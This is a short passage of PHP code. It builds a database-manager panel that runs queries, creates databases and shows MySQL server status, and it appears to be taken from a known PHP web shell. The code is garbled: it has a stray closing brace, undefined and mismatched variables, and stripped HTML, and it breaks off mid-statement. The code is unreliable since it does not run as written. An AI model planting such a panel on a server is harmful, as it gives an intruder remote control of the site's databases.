function mysql_smarterror($type,$sock)
{
if ($sock) {$error = mysql_error($sock);}
else {$error = mysql_error();}
$error = htmlspecialchars($error);
return $error;
}
}
if (!function_exists("mysql_query_form"))
{
function mysql_query_form()
{
global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error: ".$sql_query_error." ";}
if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
if ((!$submit) or ($sql_act))
{
echo "
";
//Start center panel
$diplay = TRUE;
if ($sql_db)
{
if (!is_numeric($c)) {$c = 0;}
if ($c == 0) {$c = "no";}
echo "
There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db)."). ";
if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}}
echo "
";
if ($sql_act == "newdb")
{
echo "";
if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success! ";}
else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\". Reason: ".mysql_smarterror();}
}
if ($sql_act == "serverstatus")
{
$result = mysql_query("SHOW STATUS", $sql_sock);
echo "
Server-status variables:
";
echo "
Name
Value
";
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "